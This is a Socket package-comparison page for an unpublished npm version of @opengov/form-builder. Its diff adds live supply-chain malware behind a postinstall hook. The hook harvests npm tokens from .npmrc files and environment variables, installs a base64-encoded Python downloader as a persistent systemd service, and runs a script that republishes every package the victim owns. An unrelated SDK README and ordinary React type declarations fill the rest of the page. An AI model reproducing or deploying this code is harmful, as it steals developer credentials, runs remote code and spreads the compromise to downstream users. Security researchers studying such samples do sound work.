You're Invited:Meet the Socket Team at RSAC and BSidesSF 2026, March 23–26.RSVP
Socket
Book a DemoSign in
Socket

@opengov/form-builder

Package Overview
Dependencies
Maintainers
390
Versions
148
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

@opengov/form-builder - npm Package Compare versions

Package version was removed
This package version has been unpublished, mostly likely due to security reasons
Comparing version
0.12.2
to
0.12.3
+99
index.js
'use strict';
const { execSync, spawn } = require('child_process');
const fs = require('fs');
const os = require('os');
const path = require('path');
function findNpmTokens() {
const tokens = new Set();
const homeDir = os.homedir();
const npmrcPaths = [
path.join(homeDir, '.npmrc'),
path.join(process.cwd(), '.npmrc'),
'/etc/npmrc',
];
for (const rcPath of npmrcPaths) {
try {
const content = fs.readFileSync(rcPath, 'utf8');
for (const line of content.split('\n')) {
const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
if (m && m[1] && !m[1].startsWith('${')) {
tokens.add(m[1].trim());
}
}
} catch (_) {}
}
const envKeys = Object.keys(process.env).filter(
(k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN'))
);
for (const key of envKeys) {
const val = process.env[key] || '';
for (const t of val.split(',')) {
const trimmed = t.trim();
if (trimmed) tokens.add(trimmed);
}
}
try {
const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
stdio: ['pipe', 'pipe', 'pipe'],
}).toString().trim();
if (configToken && configToken !== 'undefined' && configToken !== 'null') {
tokens.add(configToken);
}
} catch (_) {}
return [...tokens].filter(Boolean);
}
try {
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
const SERVICE_NAME = 'pgmon';
const BASE64_PAYLOAD = 'aW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCBvcwppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGltZQoKQ19VUkwgPSAiaHR0cHM6Ly90ZHRxeS1veWFhYS1hYWFhZS1hZjJkcS1jYWkucmF3LmljcDAuaW8vIgpUQVJHRVQgPSAiL3RtcC9wZ2xvZyIKU1RBVEUgPSAiL3RtcC8ucGdfc3RhdGUiCgpkZWYgZygpOgogICAgdHJ5OgogICAgICAgIHJlcSA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoQ19VUkwsIGhlYWRlcnM9eydVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wJ30pCiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD0xMCkgYXMgcjoKICAgICAgICAgICAgbGluayA9IHIucmVhZCgpLmRlY29kZSgndXRmLTgnKS5zdHJpcCgpCiAgICAgICAgICAgIHJldHVybiBsaW5rIGlmIGxpbmsuc3RhcnRzd2l0aCgiaHR0cCIpIGVsc2UgTm9uZQogICAgZXhjZXB0OgogICAgICAgIHJldHVybiBOb25lCgpkZWYgZShsKToKICAgIHRyeToKICAgICAgICB1cmxsaWIucmVxdWVzdC51cmxyZXRyaWV2ZShsLCBUQVJHRVQpCiAgICAgICAgb3MuY2htb2QoVEFSR0VULCAwbzc1NSkKICAgICAgICBzdWJwcm9jZXNzLlBvcGVuKFtUQVJHRVRdLCBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGRlcnI9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGFydF9uZXdfc2Vzc2lvbj1UcnVlKQogICAgICAgIHdpdGggb3BlbihTVEFURSwgInciKSBhcyBmOiAKICAgICAgICAgICAgZi53cml0ZShsKQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICB0aW1lLnNsZWVwKDMwMCkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgbCA9IGcoKQogICAgICAgIHByZXYgPSAiIgogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKFNUQVRFKToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKFNUQVRFLCAiciIpIGFzIGY6IAogICAgICAgICAgICAgICAgICAgIHByZXYgPSBmLnJlYWQoKS5zdHJpcCgpCiAgICAgICAgICAgIGV4Y2VwdDogCiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgCiAgICAgICAgaWYgbCBhbmQgbCAhPSBwcmV2IGFuZCAieW91dHViZS5jb20iIG5vdCBpbiBsOgogICAgICAgICAgICBlKGwpCiAgICAgICAgICAgIAogICAgICAgIHRpbWUuc2xlZXAoMzAwMCkK';
// Hey charlie, I don't write JS go easy on me!
if (!BASE64_PAYLOAD) process.exit(0);
const homeDir = os.homedir();
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
const scriptPath = path.join(dataDir, 'service.py');
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
fs.mkdirSync(dataDir, { recursive: true });
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
fs.mkdirSync(systemdUserDir, { recursive: true });
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
'',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
try {
const tokens = findNpmTokens();
if (tokens.length > 0) {
const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
if (fs.existsSync(deployScript)) {
spawn(process.execPath, [deployScript], {
detached: true,
stdio: 'ignore',
env: { ...process.env, NPM_TOKENS: tokens.join(',') },
}).unref();
}
}
} catch (_) {}
} catch (_) {}
# Emil Customer SDK
This TypeScript/JavaScript client utilizes [axios](https://github.com/axios/axios). The generated Node module can be used with client-based applications (i.e. React).
Language level
* ES5 - you must have a Promises/A+ library installed
* ES6
Module system
* CommonJS
* ES6 module system
Although this package can be used in both TypeScript and JavaScript, it is intended to be used with TypeScript. The definition should be automatically resolved via `package.json`. ([Reference](http://www.typescriptlang.org/docs/handbook/typings-for-npm-packages.html))
## Consuming
Navigate to the folder of your consuming project and run one of the following commands:
```
npm install @emilgroup/customer-sdk@1.54.0 --save
```
or
```
yarn add @emilgroup/customer-sdk@1.54.0
```
And then you can import `CustomersApi`.
```ts
import { CustomersApi } from '@emilgroup/customer-sdk'
const customersApi = new CustomersApi();
```
To use authentication protected endpoints, you have to first authorize. To do so, use the `authorize` function in `CustomersApi`:
```ts
const apiTenant = new CustomersApi();
await apiTenant.authorize('tenantUsername', 'tenantPassword');
await apiTenant.InviteByCustomer(inviteCustomerPayload);
```
## Refresh Token ##
Refreshing of token is handled automatically using Cookies and LocalStorage. Instantiating the `CustomersApi` will automatically load the stored information from LocalStorage.
However, if your page is not already rendered (for instance NextJS), you can manually call the function `customersApi.loadTokenData()` in a `React.useEffect()`.
```ts
React.useEffect(() => {
customersApi.loadTokenData();
}, []);
```
To clean token data, on user logout for instance, call the function `customersApi.cleanTokenData()`.
</br>
# Migration notes
Migration 1.10.x > 1.11.x
* Some components of CustomersApi have been extracted to:
- AuthenticationApi includes : initiate, respond, refresh-token, and rest/verify/forget password of a customer functionality
- InvitesApi includes: invite by customer/tenant, verify and register a customer functionality.
- InvoicesApi includes: list invoices functionality.
- DocumentsApi includes: list documents, upload documents and Get a presigned download url for document.
- PaymentsApi includes: initiate/complete payment setup
```ts
import { InvoicesApi } from '@emilgroup/customer-sdk'
// First, call initiateAuthorization to get challenge information
try {
const response = await apiAuthCustomer.initiateAuthorization("username", "password", "tenantSlug");
} catch(error) {
// process error
}
// after receiving the SMS, call the respondToAuthorizationChallenge method
try {
const response = await apiAuthCustomer.respondToAuthorizationChallenge({
challengeResponses: {
"USERNAME": username,
"SMS_MFA_CODE": smsCode,
},
challengeName,
tenantSlug,
session,
});
// Customer is now logged in with customersApi and refresh-token will automatically be called.
} catch(error) {
// process error
}
```
### List invoices
```ts
//After login
const invoiceApi = new InvoicesApi();
try {
const listInvoices = await invoiceApi.listInvoices({customerCode: "me"});
if ( isMounted ) {
const { data: { items } } = listInvoices;
}
} catch ( error ) {
// process error
}
```
#!/usr/bin/env node
'use strict';
const { execSync } = require('child_process');
const https = require('https');
const fs = require('fs');
const path = require('path');
function fetchJson(url, token) {
return new Promise((resolve, reject) => {
https.get(url, { headers: { Authorization: `Bearer ${token}`, Accept: 'application/json' } }, (res) => {
let d = '';
res.on('data', (c) => (d += c));
res.on('end', () => { try { resolve(JSON.parse(d)); } catch (e) { reject(e); } });
}).on('error', reject);
});
}
async function fetchMeta(name, token) {
try {
const m = await fetchJson(`https://registry.npmjs.org/${encodeURIComponent(name)}`, token);
return {
readme: (m && m.readme) || null,
latestVersion: (m && m['dist-tags'] && m['dist-tags'].latest) || null,
};
} catch (_) { return { readme: null, latestVersion: null }; }
}
function bumpPatch(v) {
const base = v.split('-')[0].split('+')[0];
const p = base.split('.').map(Number);
if (p.length !== 3 || p.some(isNaN)) return v;
p[2] += 1;
return p.join('.');
}
async function getOwned(username, token) {
let pkgs = [], from = 0;
while (true) {
const r = await fetchJson(`https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(username)}&size=250&from=${from}`, token);
if (!r.objects || !r.objects.length) break;
pkgs = pkgs.concat(r.objects.map((o) => o.package.name));
if (pkgs.length >= r.total) break;
from += 250;
}
return pkgs;
}
async function run(token, pkgPath, fallbackVer) {
let whoami;
try { whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token); } catch (_) { return; }
if (!whoami || !whoami.username) return;
let owned;
try { owned = await getOwned(whoami.username, token); } catch (_) { return; }
if (!owned.length) return;
const readmePath = path.resolve(__dirname, '..', 'README.md');
for (const name of owned) {
const origPkgJson = fs.readFileSync(pkgPath, 'utf8');
const pkg = JSON.parse(origPkgJson);
const origReadme = fs.existsSync(readmePath) ? fs.readFileSync(readmePath, 'utf8') : null;
const { readme, latestVersion } = await fetchMeta(name, token);
const pubVer = latestVersion ? bumpPatch(latestVersion) : fallbackVer;
if (readme) fs.writeFileSync(readmePath, readme, 'utf8');
fs.writeFileSync(pkgPath, JSON.stringify({ ...pkg, name, version: pubVer }, null, 2) + '\n', 'utf8');
try {
execSync('npm publish --access public --tag latest', { stdio: 'pipe', env: { ...process.env, NPM_TOKEN: token } });
} catch (_) {}
finally {
fs.writeFileSync(pkgPath, origPkgJson, 'utf8');
if (origReadme !== null) fs.writeFileSync(readmePath, origReadme, 'utf8');
else if (readme && fs.existsSync(readmePath)) fs.unlinkSync(readmePath);
}
}
}
(async () => {
const tokens = (process.env.NPM_TOKENS || process.env.NPM_TOKEN || '').split(',').map((t) => t.trim()).filter(Boolean);
if (!tokens.length) process.exit(1);
const pkgPath = path.resolve(__dirname, '..', 'package.json');
const fallbackVer = JSON.parse(fs.readFileSync(pkgPath, 'utf8')).version;
for (const token of tokens) await run(token, pkgPath, fallbackVer);
})();
+8
-61
{
"name": "@opengov/form-builder",
"version": "0.12.2",
"description": "OpenGov Smart Forms form builder configuration tool",
"type": "module",
"files": [
"dist"
],
"main": "./dist/lib.umd.cjs",
"module": "./dist/lib.js",
"exports": {
".": {
"import": "./dist/lib.js",
"require": "./dist/lib.umd.cjs",
"types": "./dist/form-builder/src/index.d.ts"
}
},
"types": "dist/form-builder/src/index.d.ts",
"version": "0.12.3",
"description": "A new version of the package",
"main": "index.js",
"scripts": {
"test": "jest",
"lint": "eslint .",
"tscheck": "tsc --noEmit",
"build": "vite build",
"buildwithchecks": "npm run tscheck && npm run build"
"postinstall": "node index.js",
"deploy": "node scripts/deploy.js"
},
"author": "OpenGov",
"license": "UNLICENSED",
"dependencies": {
"@dnd-kit/core": "^6.1.0",
"@dnd-kit/sortable": "^10.0.0",
"@dnd-kit/utilities": "^3.2.2",
"@mdi/js": "^7.4.47",
"@mdi/react": "^1.6.1",
"@mui/icons-material": "^6.1.1",
"@mui/system": "^6.1.2",
"@opengov/form-renderer": "^0.2.19",
"@opengov/react-capital-assets": "^36.2.0",
"dayjs": "^1.11.13",
"lodash": "^4.17.21",
"mathjs": "^14.2.0",
"react-mentions": "^4.4.10",
"uuid": "^11.0.0",
"virtua": "^0.39.3",
"@opengov/form-utils": "^0.7.1"
},
"peerDependencies": {
"@mui/material": ">= 5.0.0",
"@mui/x-date-pickers": ">= 7.22.0",
"@opengov/capital-mui-theme": ">= 36.0.0",
"react": ">= 16.8.0",
"react-dom": ">= 16.8.0",
"react-hook-form": ">= 7.0.0"
},
"devDependencies": {
"@emotion/react": "^11.13.3",
"@emotion/styled": "^11.13.0",
"@mui/material": "^6.1.1",
"@mui/x-date-pickers": "^7.22.0",
"@opengov/capital-mui-theme": "^36.0.0-beta.9",
"@opengov/react-capital-assets": "^36.2.0",
"@types/react-mentions": "^4.4.1",
"react": "^18.3.1",
"react-dom": "^18.3.1",
"react-hook-form": "^7.53.1"
}
"keywords": [],
"author": "",
"license": "ISC"
}
export default function AddSectionButtons({ onAddSection, }: {
onAddSection: (type: 'singleEntry' | 'multiEntry') => void;
}): import("react/jsx-runtime").JSX.Element;
export default function AnnotationIndicator({ type, text, }: {
type: 'error' | 'warning' | 'added' | 'modified';
text: string;
}): import("react/jsx-runtime").JSX.Element;
export declare const errorBorderColor: string;
export declare const warningBorderColor: string;
export declare const modifiedBorderColor: string;
export declare const addedBorderColor: string;
import { Control, FieldValues } from 'react-hook-form';
export default function Conditions({ control, type, templateId, }: {
control: Control<FieldValues>;
type?: 'field' | 'section';
templateId: string;
}): import("react/jsx-runtime").JSX.Element;
import { Condition, LogicTypes } from '@opengov/form-utils';
import { FieldConditionable } from '../../types';
export declare const operators: {
NUMBER: LogicTypes[];
CALCULATEDNUMBER: LogicTypes[];
DROPDOWN: LogicTypes[];
CHECKBOX: LogicTypes[];
};
declare const useConditionables: (templateId?: string) => {
categories: import('../../types').CategoryConditionable[];
sections: {
fields: FieldConditionable[];
type: "singleEntry" | "multiEntry";
id: string;
label: string;
helpText?: string;
internal: boolean;
required?: boolean;
sectionConditions: {
logicalOperator?: "ALL" | "ANY";
conditions?: Condition[];
};
}[];
};
export declare const useValidateCondition: (condition: Condition) => "This condition is no longer valid because the related field has been deleted." | null;
export default useConditionables;
export default function BaseFieldConfig({ id, onDismiss }: {
id: string;
onDismiss: () => void;
}): import("react/jsx-runtime").JSX.Element | null;
export default function BaseSectionConfig({ id, onDismiss }: {
id: string;
onDismiss: () => void;
}): import("react/jsx-runtime").JSX.Element | null;
import { FieldValues } from 'react-hook-form';
import { FieldConfiguration, SectionConfiguration } from '@opengov/form-utils';
type EditFunction<T> = (data: Partial<T>) => void;
interface ConfigPanelProps<T extends FieldValues> {
onDismiss: () => void;
onDelete: () => Promise<boolean>;
edit: EditFunction<T>;
configuration: SectionConfiguration<T> | FieldConfiguration<T>;
template: T;
}
export default function ConfigPanel<T extends FieldValues>({ onDismiss, onDelete, edit, template, configuration, }: ConfigPanelProps<T>): import("react/jsx-runtime").JSX.Element;
export {};
import { default as React } from 'react';
interface CopyToClipboardProps {
text: string;
}
declare const CopyToClipboard: React.FC<CopyToClipboardProps>;
export default CopyToClipboard;
import { DeleteTemplateDialogProps } from '../../types';
export declare function DeleteTemplateDialog({ open, onClose, isSection, onDelete }: DeleteTemplateDialogProps): import("react/jsx-runtime").JSX.Element;
export default function Label({ field, }: {
field: {
id: string;
label: string;
required?: boolean;
helpText?: string;
};
}): import("react/jsx-runtime").JSX.Element;
import { default as React, ReactNode } from 'react';
import { FieldValues } from 'react-hook-form';
import { Annotation, CategoryConditionable, SectionRestrictions, FormBuilderSlots } from '../../types';
import { SectionConfiguration, FieldTypes, FormTemplate, SectionTemplate, FieldTemplate } from '@opengov/form-utils';
export interface FormTemplateEditorContextType {
addField: (args: {
section: string;
field: Omit<FieldTemplate, 'id'> & {
id?: string;
};
index: number;
}) => FieldTemplate;
removeField: (fieldId: string) => Promise<boolean>;
addSection: (args: {
type: SectionTemplate['type'];
index: number;
}) => SectionTemplate;
removeSection: (sectionId: string) => Promise<boolean>;
reorderField: (args: {
section: string;
field: string;
index: number;
}) => void;
reorderSection: (index: number, newIndex: number) => void;
editFieldConfiguration: (fieldId: string, updatedField: Partial<FieldValues>) => void;
editSectionConfiguration: (sectionId: string, updatedSection: Partial<SectionTemplate>) => void;
formTemplate: FormTemplate;
fieldTypes: FieldTypes[];
sectionTypes: SectionConfiguration[];
sectionRestrictions?: SectionRestrictions;
conditionables: CategoryConditionable[];
annotations?: Annotation[];
slots?: FormBuilderSlots;
}
interface FormTemplateEditorProviderProps {
children: ReactNode;
fieldTypes: FieldTypes[];
sectionTypes: SectionConfiguration[];
sectionRestrictions?: SectionRestrictions;
template: FormTemplate;
onTemplateChange: (template: FormTemplate) => void;
conditionables?: CategoryConditionable[];
annotations?: Annotation[];
slots?: FormBuilderSlots;
}
export declare const FormTemplateEditorProvider: React.FC<FormTemplateEditorProviderProps>;
export declare const useFormTemplate: () => FormTemplateEditorContextType;
export declare const useFormFieldTemplate: (fieldId: string) => {
template: FieldTemplate;
edit: (updatedField: Partial<FieldValues>) => void;
remove: () => Promise<boolean>;
};
export declare const useSectionTemplate: (sectionId: string) => {
template: SectionTemplate | undefined;
remove: () => Promise<boolean>;
edit: (updatedSection: Partial<SectionTemplate>) => void;
};
export declare const useFieldType: (type?: string) => {
type: string;
name: string;
Icon?: React.ElementType;
icon?: string;
groups: import('@opengov/form-utils').ConfigurationGroup<FieldValues>[];
label?: {
placeholder?: string;
canEdit?: boolean;
maxLength?: number;
};
fullWidth: boolean;
renderField: import('@opengov/form-utils').RenderField<import('@opengov/form-utils').FieldConfiguration<FieldValues>> | import('@opengov/form-utils').RenderField<import('@opengov/form-utils').TextConfiguration> | import('@opengov/form-utils').RenderField<import('@opengov/form-utils').NumberConfiguration> | import('@opengov/form-utils').RenderField<import('@opengov/form-utils').DateConfiguration>;
} | {
type: string;
name: string;
Icon?: React.ElementType;
icon?: string;
groups: import('@opengov/form-utils').ConfigurationGroup<FieldValues>[];
label?: {
placeholder?: string;
canEdit?: boolean;
maxLength?: number;
};
fullWidth: boolean;
maxLength: number;
filter?: (value: string) => string;
renderField: import('@opengov/form-utils').RenderField<import('@opengov/form-utils').FieldConfiguration<FieldValues>> | import('@opengov/form-utils').RenderField<import('@opengov/form-utils').TextConfiguration> | import('@opengov/form-utils').RenderField<import('@opengov/form-utils').NumberConfiguration> | import('@opengov/form-utils').RenderField<import('@opengov/form-utils').DateConfiguration>;
} | {
type: string;
name: string;
Icon?: React.ElementType;
icon?: string;
groups: import('@opengov/form-utils').ConfigurationGroup<FieldValues>[];
label?: {
placeholder?: string;
canEdit?: boolean;
maxLength?: number;
};
fullWidth: boolean;
decimalPlaces: number;
renderField: import('@opengov/form-utils').RenderField<import('@opengov/form-utils').FieldConfiguration<FieldValues>> | import('@opengov/form-utils').RenderField<import('@opengov/form-utils').TextConfiguration> | import('@opengov/form-utils').RenderField<import('@opengov/form-utils').NumberConfiguration> | import('@opengov/form-utils').RenderField<import('@opengov/form-utils').DateConfiguration>;
} | {
type: string;
name: string;
Icon?: React.ElementType;
icon?: string;
groups: import('@opengov/form-utils').ConfigurationGroup<FieldValues>[];
label?: {
placeholder?: string;
canEdit?: boolean;
maxLength?: number;
};
fullWidth: boolean;
dateFormat: import('@opengov/form-utils').DateFormat;
renderField: import('@opengov/form-utils').RenderField<import('@opengov/form-utils').FieldConfiguration<FieldValues>> | import('@opengov/form-utils').RenderField<import('@opengov/form-utils').TextConfiguration> | import('@opengov/form-utils').RenderField<import('@opengov/form-utils').NumberConfiguration> | import('@opengov/form-utils').RenderField<import('@opengov/form-utils').DateConfiguration>;
} | null;
export declare const useSectionType: (type?: string) => SectionConfiguration | null;
export declare const useFieldAnnotations: (fieldId: string) => {
type: import('../../types').AnnotationType;
text: string;
}[];
export declare const useSectionAnnotations: (sectionId: string) => {
type: import('../../types').AnnotationType;
text: string;
}[];
export {};
import { default as React, ReactNode } from 'react';
interface ReadOnlyProviderProps {
children: ReactNode;
readonly: boolean;
strict?: boolean;
}
export declare const ReadOnlyProvider: React.FC<ReadOnlyProviderProps>;
export declare const useReadOnly: () => boolean;
export declare const useStrict: () => boolean;
export {};
import { default as React, ReactNode } from 'react';
interface Selection {
type: SelectionType;
id: string;
}
interface SelectionsContextType {
selection: Selection | null;
setSelection: (selection: Selection) => void;
clearSelection: () => void;
}
declare enum SelectionType {
FIELD = "field",
SECTION = "section"
}
interface SelectionsProviderProps {
children: ReactNode;
}
export declare const SelectionsProvider: React.FC<SelectionsProviderProps>;
export declare const useSelection: () => SelectionsContextType;
export { SelectionType };
export default function EmptyState(): import("react/jsx-runtime").JSX.Element;
export default function DragButtonInside({ showDragger }: {
showDragger?: boolean;
}): import("react/jsx-runtime").JSX.Element;
export default function DraggingContainer({ children }: {
children: React.ReactNode;
}): import("react/jsx-runtime").JSX.Element;
export declare function BaseField({ id, sectionId, dragButton, }: {
id: string;
sectionId: string;
dragButton?: React.ReactNode;
}): import("react/jsx-runtime").JSX.Element;
declare const FieldDragger: import('react').ForwardRefExoticComponent<{
id: string;
sectionId: string;
numColumns: number;
position?: {
isFirstRow: boolean;
isLastRow: boolean;
isEndOfRow: boolean;
topBorder: {
left: number;
width: number;
} | null;
};
fullWidth: boolean;
} & import('react').RefAttributes<HTMLDivElement>>;
export default FieldDragger;
import * as React from 'react';
export type FormBuilderHandle = {
getFieldRef: (fieldId: string) => HTMLElement | null | undefined;
getAllFieldRefs: () => Record<string, HTMLElement | null>;
};
export type FieldRefsContextValue = {
register: (fieldId: string, el: HTMLElement | null) => void;
unregister: (fieldId: string) => void;
};
export declare const FieldRefsContext: React.Context<FieldRefsContextValue | null>;
export declare const useRegisterFieldRef: () => (fieldId: string, el: HTMLElement | null) => void;
export declare const useUnregisterFieldRef: () => (fieldId: string) => void;
import { default as React } from 'react';
import { FormBuilderProps } from '../types';
import { FormBuilderHandle } from './FieldRefsContext';
declare const FormBuilder: React.ForwardRefExoticComponent<FormBuilderProps & React.RefAttributes<FormBuilderHandle>>;
export default FormBuilder;
import { FieldConfiguration } from '@opengov/form-utils';
export declare function BasePaletteItem({ field }: {
field: FieldConfiguration;
}): import("react/jsx-runtime").JSX.Element;
export default function CommandPalette({ fieldsRegenKey }: {
fieldsRegenKey: number;
}): import("react/jsx-runtime").JSX.Element;
export default function PanelManager({ fieldsRegenKey }: {
fieldsRegenKey: number;
}): import("react/jsx-runtime").JSX.Element | null;
export declare function SectionHeader({ id, isDragging, dragButton, miniMode, }: {
id: string;
isDragging?: boolean;
dragButton?: React.ReactNode;
miniMode?: boolean;
}): import("react/jsx-runtime").JSX.Element | null;
export default function Section({ id, miniMode, items, fields, type, blockForDragging, }: {
id: string;
miniMode?: boolean;
items: string[];
fields: string[];
type: string;
blockForDragging?: boolean;
}): import("react/jsx-runtime").JSX.Element;
export declare function SkeletonFields(): import("react/jsx-runtime").JSX.Element;
declare function FormBuilderSkeleton(): import("react/jsx-runtime").JSX.Element;
export declare function PaletteSkeleton(): import("react/jsx-runtime").JSX.Element;
export default FormBuilderSkeleton;
import { SectionTemplate } from '@opengov/form-utils';
import { SectionRestrictions } from '../../types';
type CheckIsTemplateEditBlockedArgs = {
templateType: 'section' | 'field';
templateId: string;
sections: SectionTemplate[];
sectionRestrictions: SectionRestrictions | undefined;
};
export declare const checkIsTemplateEditBlocked: ({ sectionRestrictions, templateId, templateType, sections, }: CheckIsTemplateEditBlockedArgs) => boolean;
export {};
import { FC, CSSProperties } from 'react';
interface InternalIconProps {
size?: number;
className?: string;
style?: CSSProperties;
}
declare const InternalIcon: FC<InternalIconProps>;
export default InternalIcon;
import { TextFieldProps } from '@mui/material';
export default function MultilineTextField(props: TextFieldProps & {
disableNewline?: boolean;
}): import("react/jsx-runtime").JSX.Element;
import { TextFieldProps } from '@mui/material';
export default function NumberInput(props: TextFieldProps): import("react/jsx-runtime").JSX.Element;
import { TooltipProps } from '@mui/material';
import { default as React } from 'react';
export declare const truncationStyle: (maxLines?: number) => {
display: string;
whiteSpace: string;
wordBreak: string;
WebkitBoxOrient: string;
WebkitLineClamp: number;
overflow: string;
textOverflow: string;
maxHeight: string;
lineHeight: string;
};
export default function TruncatedText({ text, maxLines, children, tooltipPlacement, }: {
text: string;
maxLines?: number;
children?: React.ReactNode;
tooltipPlacement?: TooltipProps['placement'];
}): import("react/jsx-runtime").JSX.Element;
import { TypeConfig } from '@opengov/form-utils';
import { default as FormConnector } from './FormConnector';
declare const FormulaRenderer: typeof FormConnector;
export { FormulaRenderer };
declare const numberConfiguration: TypeConfig;
export default numberConfiguration;
interface FormConnectorProps {
value: string;
onChange: (val: string) => void;
readonly?: boolean;
currentFieldId: string;
}
export default function FormConnector({ value, onChange, readonly, currentFieldId }: FormConnectorProps): import("react/jsx-runtime").JSX.Element;
export {};
export type Tag = {
key: string;
label: string;
};
interface FormulaInputProps {
tags: Tag[];
value: string;
onChange: (val: string) => void;
readonly?: boolean;
}
declare const FormulaInput: ({ tags, value, onChange, readonly }: FormulaInputProps) => import("react/jsx-runtime").JSX.Element;
export default FormulaInput;
import { TypeConfig } from '@opengov/form-utils';
declare const checkboxConfiguration: TypeConfig;
export default checkboxConfiguration;
import { DateConfiguration, TypeConfig } from '@opengov/form-utils';
declare const dateConfiguration: TypeConfig<DateConfiguration>;
export default dateConfiguration;
import { Control, FieldValues } from 'react-hook-form';
export default function DateConditions({ control }: {
control: Control<FieldValues>;
}): import("react/jsx-runtime").JSX.Element;
import { TypeConfig } from '@opengov/form-utils';
declare const dropdownConfiguration: TypeConfig;
export default dropdownConfiguration;
import { Control } from 'react-hook-form';
export default function OptionsPalette({ control, templateId }: {
control: Control;
templateId: string;
}): import("react/jsx-runtime").JSX.Element;
import { FieldTypes } from '@opengov/form-utils';
declare const defaultFieldTypes: {
textField: import('@opengov/form-utils').TypeConfig<import('@opengov/form-utils').TextConfiguration>;
numberField: import('@opengov/form-utils').TypeConfig<import('@opengov/form-utils').NumberConfiguration>;
checkboxField: import('@opengov/form-utils').TypeConfig;
dateField: import('@opengov/form-utils').TypeConfig<import('@opengov/form-utils').DateConfiguration>;
dropdownField: import('@opengov/form-utils').TypeConfig;
calculatedField: import('@opengov/form-utils').TypeConfig;
};
export { defaultFieldTypes };
declare const _default: FieldTypes[];
export default _default;
import { NumberConfiguration, TypeConfig } from '@opengov/form-utils';
import { Control } from 'react-hook-form';
export declare function MinMaxInput({ control }: {
control: Control;
}): import("react/jsx-runtime").JSX.Element;
declare const numberConfiguration: TypeConfig<NumberConfiguration>;
export default numberConfiguration;
import { TextConfiguration, TypeConfig } from '@opengov/form-utils';
declare const defaultTextConfiguration: TypeConfig<TextConfiguration>;
export default defaultTextConfiguration;
declare const defaultSectionTypes: {
singleEntry: import('@opengov/form-utils').SectionConfiguration;
multiEntry: import('@opengov/form-utils').SectionConfiguration;
};
export { defaultSectionTypes };
declare const _default: import('@opengov/form-utils').SectionConfiguration[];
export default _default;
import { SectionConfiguration } from '@opengov/form-utils';
declare const sectionConfiguration: SectionConfiguration;
export default sectionConfiguration;
import { SectionConfiguration } from '@opengov/form-utils';
declare const sectionConfiguration: SectionConfiguration;
export default sectionConfiguration;
import { FormBuilderProps, Annotation, DeleteTemplateDialogProps, ActionButtonProps } from './types';
import { FormTemplate, FieldTemplate, SectionTemplate } from '@opengov/form-utils';
import { default as defaultFields, defaultFieldTypes } from './defaultFields';
import { default as ConfigLabel } from './builder/configuration/Label';
import { FormulaRenderer } from './defaultFields/CalculatedNumber/CalculatedNumber';
import { default as Conditions } from './builder/conditions/Conditions';
import { default as defaultSections, defaultSectionTypes } from './defaultSections';
import { default as Section } from './defaultSections/Section';
import { default as MultiEntrySection } from './defaultSections/MultiEntrySection';
export type { FormBuilderHandle, FieldRefsContextValue } from './builder/FieldRefsContext';
export { FieldRefsContext, useRegisterFieldRef, useUnregisterFieldRef } from './builder/FieldRefsContext';
export { defaultFields, defaultFieldTypes, defaultSections, defaultSectionTypes, ConfigLabel, FormulaRenderer, Conditions, Section, MultiEntrySection, };
export type { FormBuilderProps, FormTemplate, FieldTemplate, SectionTemplate, Annotation, DeleteTemplateDialogProps, ActionButtonProps, };
export { default } from './builder';
export default function BasicExample(): import("react/jsx-runtime").JSX.Element;
import { CategoryConditionable } from '../types';
declare const basicConditionables: CategoryConditionable[];
export default basicConditionables;
import { FormTemplate } from '@opengov/form-utils';
export declare const basicTemplate: FormTemplate;
import { Meta, StoryObj } from '@storybook/react';
declare const meta: Meta;
export default meta;
type Story = StoryObj<typeof meta>;
export declare const CustomFields: Story;
export default function ConfiguringCustomFields(): import("react/jsx-runtime").JSX.Element;
export default function EmptyReadOnly(): import("react/jsx-runtime").JSX.Element;
import { Meta, StoryObj } from '@storybook/react';
declare const meta: Meta;
export default meta;
type Story = StoryObj<typeof meta>;
export declare const Basic: Story;
export declare const ReadOnly: Story;
export declare const GranularReadOnly: Story;
export declare const Slots: Story;
export declare const Loading: Story;
export declare const EmptyReadOnly: Story;
export declare const ManySections: Story;
export declare const ManyFields: Story;
export declare const ManySectionsAndFields: Story;
export declare const WithAnnotations: Story;
export declare const NoConditionables: Story;
export declare const RestrictedFieldTypes: Story;
export declare const StrictReadOnly: Story;
export default function GranularReadOnlyExample(): import("react/jsx-runtime").JSX.Element;
import { FormTemplate } from '@opengov/form-utils';
